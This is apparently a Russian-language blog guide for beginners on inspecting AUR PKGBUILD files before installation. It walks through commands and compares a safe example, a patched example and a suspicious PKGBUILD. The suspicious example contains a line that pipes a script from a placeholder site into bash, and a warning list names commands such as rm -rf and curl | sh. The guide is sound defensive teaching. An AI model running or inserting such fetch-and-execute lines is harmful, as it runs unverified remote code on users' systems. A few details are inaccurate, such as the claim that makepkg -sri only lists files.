Как правильно проверять PKGBUILD при установке пакетов из AUR
Зачем проверять файл PKGBUILD?
Проверка файла PKGBUILD перед установкой пакетов из Arch User Repository (AUR) - важный шаг для обеспечения безопасности и стабильности системы, так как пакеты из AUR не проходят официальную проверку, как пакеты в репозиториях Manjaro или Arch Linux. Это руководство создано для новичков и поможет минимизировать риски установки небезопасного или проблемного программного обеспечения. Мы разберём процесс шаг за шагом и разберем примеры безопасного и подозрительного PKGBUILD.
Почему важно проверять PKGBUILD?
- Безопасность:
PKGBUILDможет содержать вредоносный код, который выполняется с правами root (администратора) при установке и может повредить систему. - Стабильность: Неправильные настройки или зависимости могут вызвать сбои в работе программ или системы.
- Качество: Пакет может быть устаревшим, плохо настроенным или несовместимым с вашей версией Manjaro.
Пошаговая инструкция по проверке PKGBUILD
- Клонируйте или скачайте пакет из AUR
- Используйте AUR-хелпер, например
yay, чтобы скачать файлы пакета без установки:
или клонируйте вручную с помощью Git:yay -G <название_пакета>git clone https://aur.archlinux.org/<название_пакета>.git - Пример: Если вы хотите проверить пакет
example-package, выполните:yay -G example-package - Это создаст папку с именем пакета, где находится
PKGBUILDи другие файлы.
- Используйте AUR-хелпер, например
- Перейдите в директорию пакета
- Перейдите в папку:
Например:cd <название_пакета>cd example-package - Убедитесь, что
PKGBUILDесть в папке:
Вы должны увидеть файлlsPKGBUILDи, возможно, файлы вроде.SRCINFOили патчей (*.patch).
- Перейдите в папку:
- Просмотрите содержимое PKGBUILD
- Откройте
PKGBUILDв текстовом редакторе, напримерnanoилиvim:
Или используйте графический редактор, напримерnano PKGBUILDmousepadилиgedit. - Для
yayможно вывестиPKGBUILDв терминал:
Или получить информацию о пакете:yay -Gp <название_пакета>yay -Si <название_пакета>
- Откройте
- Проверьте ключевые секции PKGBUILD
- Метаданные:
pkgname,pkgver,pkgrel: Убедитесь, что имя и версия пакета совпадают с тем, что вы ожидаете. Например,pkgname=example-package,pkgver=1.0.0.url: Проверьте, что ссылка ведёт на официальный сайт или репозиторий (например, GitHub, GitLab). Подозрительно, если ссылка отсутствует или ведёт на неизвестный сайт.license: Лицензия должна соответствовать ПО (например,GPL,MIT). Если лицензия отсутствует, это плохой знак.
- Источник (
source):- Убедитесь, что файлы загружаются из надёжных источников (например,
https://github.com). - Проверьте, что ссылки используют безопасный протокол (
https, а неhttp). - Если используются локальные файлы (патчи), они должны быть в папке пакета и выглядеть безопасно.
- Убедитесь, что файлы загружаются из надёжных источников (например,
- Хэш-суммы (
sha256sums,md5sums):- Контрольные суммы подтверждают, что загружаемые файлы не были изменены. Пример:
sha256sums=('a1b2c3d4e5f6...'). - Если указано
SKIP, это риск: файл может быть подменён. Всегда проверяйте источник в таком случае.
- Контрольные суммы подтверждают, что загружаемые файлы не были изменены. Пример:
- Зависимости (
depends,makedepends):- Проверьте, что зависимости логичны. Например, для текстового редактора ожидаемы зависимости вроде
gtk3, но подозрительно, если указанnginx. - Убедитесь, что нет лишних или неизвестных пакетов.
- Проверьте, что зависимости логичны. Например, для текстового редактора ожидаемы зависимости вроде
- Функции сборки (
build(),package()):- Это команды, которые выполняются при сборке и установке. Ищите:
- Подозрительные команды, такие как
rm -rf,sudo,curl | sh. - Убедитесь, что установка идёт в
$pkgdir(временная директория для сборки), а не в системные папки вроде/usrнапрямую. - Избегайте пакетов, выполняющих сетевые запросы без проверки или удаляющих файлы.
- Подозрительные команды, такие как
- Это команды, которые выполняются при сборке и установке. Ищите:
- Метаданные:
- Проверьте дополнительные файлы
- Если есть файл
.installили патчи (*.patch), просмотрите их:nano <имя_файла>.install - Убедитесь, что они не содержат команды, изменяющие системные настройки или удаляющие файлы.
- Если есть файл
- Используйте
makepkgдля проверки сборки- Проверьте целостность файлов без сборки:
Это загрузит файлы изmakepkg --nobuildsourceи проверит их хэш-суммы. - Чтобы увидеть, какие файлы будут установлены:
Это соберёт и покажет список файлов перед установкой.makepkg -sri
- Проверьте целостность файлов без сборки:
- Проверьте комментарии и репутацию пакета
- На странице AUR (aur.archlinux.org) проверьте:
- Комментарии: Пользователи часто пишут о проблемах или уязвимостях.
- Maintainer: Надёжный мейнтейнер (с долгой историей или многими пакетами) вызывает больше доверия.
- Popularity и Last Updated: Устаревшие пакеты (не обновлялись годами) могут быть проблемными.
- Получите информацию о пакете:
yay -Si <название_пакета>
- На странице AUR (aur.archlinux.org) проверьте:
- Используйте безопасные практики
- Изолированная сборка: Используйте
makepkg --cleanдля чистой сборки или AUR-хелперы вродеparuс поддержкой изоляции. - Песочница: Стройте пакеты в
firejailилиdockerдля дополнительной безопасности. - Проверка вручную: Выполните
makepkg --nobuildи проверьте файлы в папкеpkg.
- Изолированная сборка: Используйте
- Установите пакет только после проверки
- Если всё безопасно, установите:
или вручную:yay -S <название_пакета>makepkg -si
- Если всё безопасно, установите:
Примеры анализа PKGBUILD
Пример 1: Безопасный PKGBUILD
Рассмотрим PKGBUILD для пакета example-package, который устанавливает простой текстовый редактор:
pkgname=example-package
pkgver=1.0.0
pkgrel=1
pkgdesc="Простой текстовый редактор"
url="https://github.com/example/project"
license=('MIT')
source=("https://github.com/example/project/archive/v${pkgver}.tar.gz")
sha256sums=('a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b')
depends=('gtk3')
build() {
cd "$srcdir/project-$pkgver"
./configure --prefix=/usr
make
}
package() {
cd "$srcdir/project-$pkgver"
make DESTDIR="$pkgdir" install
}
Разбор:
url: Ссылка на GitHub - надёжный источник.source: Загружается tar-архив по HTTPS.sha256sums: Указана контрольная сумма, можно проверить сmakepkg --nobuild.depends: Зависимостьgtk3логична для графического редактора.build()иpackage(): Стандартные команды./configure,make,make installс установкой в$pkgdir- безопасно.- Вывод: Этот
PKGBUILDвыглядит безопасным, если источник и хэш-суммы проверены.
Пример 2: Подозрительный PKGBUILD
Теперь рассмотрим проблемный PKGBUILD, который может быть опасным:
pkgname=suspicious-package
pkgver=1.0
pkgrel=1
pkgdesc="Some tool"
url="http://unknown-site.com"
license=('unknown')
source=("http://unknown-site.com/script.sh")
sha256sums=('SKIP')
depends=('bash')
package() {
mkdir -p "$pkgdir/usr/bin"
cp script.sh "$pkgdir/usr/bin/suspicious-tool"
chmod +x "$pkgdir/usr/bin/suspicious-tool"
curl http://unknown-site.com/update.sh | bash
}
Разбор:
url: Ссылка на неизвестный сайт (http://unknown-site.com) с протоколомhttp(небезопасно).source: Загружается скриптscript.shс подозрительного сайта.sha256sums: УказаноSKIP, что не позволяет проверить целостность файла.license: Указаноunknown- это нестандартно и подозрительно.package(): Командаcurl http://unknown-site.com/update.sh | bashвыполняет скрипт из интернета без проверки - это очень опасно, так как может содержать вредоносный код.- Вывод: Этот
PKGBUILDнебезопасен. Избегайте установки таких пакетов.
Пример 3: PKGBUILD с патчем
Рассмотрим PKGBUILD с патчем, чтобы понять, как проверять дополнительные файлы:
pkgname=example-app
pkgver=2.0
pkgrel=1
pkgdesc="Приложение с патчем"
url="https://github.com/example/app"
license=('GPL')
source=("https://github.com/example/app/archive/v${pkgver}.tar.gz" "fix-bug.patch")
sha256sums=('b1c2d3e4f5a6...' 'c1d2e3f4a5b6...')
depends=('qt5-base')
prepare() {
cd "$srcdir/app-$pkgver"
patch -p1 < ../fix-bug.patch
}
build() {
cd "$srcdir/app-$pkgver"
qmake
make
}
package() {
cd "$srcdir/app-$pkgver"
make DESTDIR="$pkgdir" install
}
Разбор:
source: Загружается архив с GitHub и патчfix-bug.patch.sha256sums: Указаны суммы для обоих файлов, что позволяет проверить их целостность.prepare(): Применяется патч с помощьюpatch -p1- стандартная практика.- Действия: Просмотрите файл
fix-bug.patch(nano fix-bug.patch). Убедитесь, что патч изменяет только код приложения (например, исправляет ошибку) и не добавляет подозрительных команд. - Вывод: Если патч выглядит безопасным (например, изменяет строки в коде без выполнения скриптов), этот
PKGBUILDможно считать надёжным.
Чего избегать
- Отсутствие хэш-сумм: Если
sha256sumsуказано какSKIP, файлы могут быть подменены. - Скрипты в
source: Например,source=("script.sh")может быть опасно, если скрипт выполняется автоматически. - Команды с
sudoили удалением файлов: Например,rm -rf /tmp/*илиsudo chmodвPKGBUILDили.install. - Непрозрачные патчи: Если патч содержит бинарные данные или сложный код, это требует дополнительной проверки.
- Сетевые запросы: Команды вроде
curl | bashилиwgetбез проверки содержимого.
Полезные инструменты
- aurutils: Автоматизирует проверку и сборку AUR-пакетов.
- namcap: Анализирует
PKGBUILDна ошибки и потенциальные проблемы:sudo pacman -S namcap namcap PKGBUILD - paru или yay: AUR-хелперы с функцией просмотра
PKGBUILDперед установкой.
Рекомендации для новичков
- Начните с популярных пакетов: они чаще проверены сообществом и более надёжны.
- Читайте комментарии на странице AUR: пользователи часто сообщают о проблемах или уязвимостях.
- Тестируйте в виртуальной машине или контейнере, если не уверены в пакете.
- Создавайте резервные копии системы с помощью
timeshiftперед установкой AUR-пакетов. - Будьте осторожны с обновлениями: команда
yay -Syuобновляет все пакеты, включая AUR, что может привести к нестабильности.

Комментарии
Отправить комментарий